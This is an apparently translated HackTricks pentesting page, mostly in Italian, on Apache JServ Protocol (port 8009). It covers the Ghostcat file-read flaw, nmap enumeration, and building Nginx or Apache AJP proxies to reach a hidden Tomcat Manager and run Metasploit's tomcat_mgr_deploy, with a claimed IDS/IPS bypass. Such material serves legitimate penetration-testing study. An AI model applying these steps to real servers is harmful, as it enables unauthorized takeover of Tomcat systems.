9.8 KiB
8009 - Pentesting Apache JServ Protocol (AJP)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
Basic Information
From: https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/
AJP è un protocollo di rete. È una versione ottimizzata del protocollo HTTP per consentire a un server web autonomo come Apache di comunicare con Tomcat. Storicamente, Apache è stato molto più veloce di Tomcat nel servire contenuti statici. L'idea è di lasciare che Apache serva i contenuti statici quando possibile, ma di fare da proxy per la richiesta a Tomcat per i contenuti relativi a Tomcat.
Also interesting:
Il protocollo ajp13 è orientato ai pacchetti. Un formato binario è presumibilmente stato scelto rispetto al testo semplice più leggibile per motivi di prestazioni. Il server web comunica con il contenitore servlet tramite connessioni TCP. Per ridurre il costoso processo di creazione di socket, il server web tenterà di mantenere connessioni TCP persistenti con il contenitore servlet e di riutilizzare una connessione per più cicli di richiesta/riposta.
Default port: 8009
PORT STATE SERVICE
8009/tcp open ajp13
CVE-2020-1938 'Ghostcat'
Se la porta AJP è esposta, Tomcat potrebbe essere suscettibile alla vulnerabilità Ghostcat. Ecco un exploit che funziona con questo problema.
Ghostcat è una vulnerabilità LFI, ma in qualche modo ristretta: possono essere estratti solo file da un certo percorso. Tuttavia, questo può includere file come WEB-INF/web.xml
che possono leakare informazioni importanti come le credenziali per l'interfaccia Tomcat, a seconda della configurazione del server.
Le versioni corrette a partire da 9.0.31, 8.5.51 e 7.0.100 hanno risolto questo problema.
Enumeration
Automatic
nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
Brute force
AJP Proxy
Nginx Reverse Proxy & AJP
Controlla la versione Dockerizzata
Quando ci imbattiamo in una porta proxy AJP aperta (8009 TCP), possiamo utilizzare Nginx con il ajp_module
per accedere al "nascosto" Tomcat Manager. Questo può essere fatto compilando il codice sorgente di Nginx e aggiungendo il modulo richiesto, come segue:
- Scarica il codice sorgente di Nginx
- Scarica il modulo richiesto
- Compila il codice sorgente di Nginx con il
ajp_module
. - Crea un file di configurazione che punta alla porta AJP
# Download Nginx code
wget https://nginx.org/download/nginx-1.21.3.tar.gz
tar -xzvf nginx-1.21.3.tar.gz
# Compile Nginx source code with the ajp module
git clone https://github.com/dvershinin/nginx_ajp_module.git
cd nginx-1.21.3
sudo apt install libpcre3-dev
./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
make
sudo make install
nginx -V
Commenta l'intero blocco server
e aggiungi le seguenti righe all'interno del blocco http
in /etc/nginx/conf/nginx.conf
.
upstream tomcats {
server <TARGET_SERVER>:8009;
keepalive 10;
}
server {
listen 80;
location / {
ajp_keep_conn on;
ajp_pass tomcats;
}
}
Avvia Nginx e controlla se tutto funziona correttamente emettendo una richiesta cURL al tuo host locale.
sudo nginx
curl http://127.0.0.1:80
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Apache Tomcat/X.X.XX</title>
<link href="favicon.ico" rel="icon" type="image/x-icon" />
<link href="favicon.ico" rel="shortcut icon" type="image/x-icon" />
<link href="tomcat.css" rel="stylesheet" type="text/css" />
</headas
<body>
<div id="wrapper">
<div id="navigation" class="curved container">
<span id="nav-home"><a href="https://tomcat.apache.org/">Home</a></span>
<span id="nav-hosts"><a href="/docs/">Documentation</a></span>
<span id="nav-config"><a href="/docs/config/">Configuration</a></span>
<span id="nav-examples"><a href="/examples/">Examples</a></span>
<span id="nav-wiki"><a href="https://wiki.apache.org/tomcat/FrontPage">Wiki</a></span>
<span id="nav-lists"><a href="https://tomcat.apache.org/lists.html">Mailing Lists</a></span>
<span id="nav-help"><a href="https://tomcat.apache.org/findhelp.html">Find Help</a></span>
<br class="separator" />
</div>
<div id="asf-box">
<h1>Apache Tomcat/X.X.XX</h1>
</div>
<div id="upper" class="curved container">
<div id="congrats" class="curved container">
<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
<SNIP>
Nginx versione Dockerizzata
git clone https://github.com/ScribblerCoder/nginx-ajp-docker
cd nginx-ajp-docker
Sostituisci TARGET-IP
in nginx.conf
con l'IP AJP, quindi costruisci ed esegui.
docker build . -t nginx-ajp-proxy
docker run -it --rm -p 80:80 nginx-ajp-proxy
Apache AJP Proxy
Incontrare una porta 8009 aperta senza altre porte web accessibili è raro. Tuttavia, è ancora possibile sfruttarla utilizzando Metasploit. Sfruttando Apache come proxy, le richieste possono essere reindirizzate a Tomcat sulla porta 8009.
sudo apt-get install libapache2-mod-jk
sudo vim /etc/apache2/apache2.conf # append the following line to the config
Include ajp.conf
sudo vim /etc/apache2/ajp.conf # create the following file, change HOST to the target address
ProxyRequests Off
<Proxy *>
Order deny,allow
Deny from all
Allow from localhost
</Proxy>
ProxyPass / ajp://HOST:8009/
ProxyPassReverse / ajp://HOST:8009/
sudo a2enmod proxy_http
sudo a2enmod proxy_ajp
sudo systemctl restart apache2
Questa configurazione offre la possibilità di bypassare i sistemi di rilevamento e prevenzione delle intrusioni (IDS/IPS) a causa della natura binaria del protocollo AJP, sebbene questa capacità non sia stata verificata. Direzionando un exploit Tomcat di Metasploit regolare a 127.0.0.1:80
, puoi effettivamente prendere il controllo del sistema target.
msf exploit(tomcat_mgr_deploy) > show options
Riferimenti
- https://github.com/yaoweibin/nginx_ajp_module
- https://academy.hackthebox.com/module/145/section/1295
Unisciti al HackenProof Discord server per comunicare con hacker esperti e cacciatori di bug bounty!
Approfondimenti sul hacking
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
Notizie di hacking in tempo reale
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
Ultimi annunci
Rimani informato sui nuovi bug bounty in arrivo e aggiornamenti cruciali della piattaforma
Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!
{% hint style="success" %}
Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.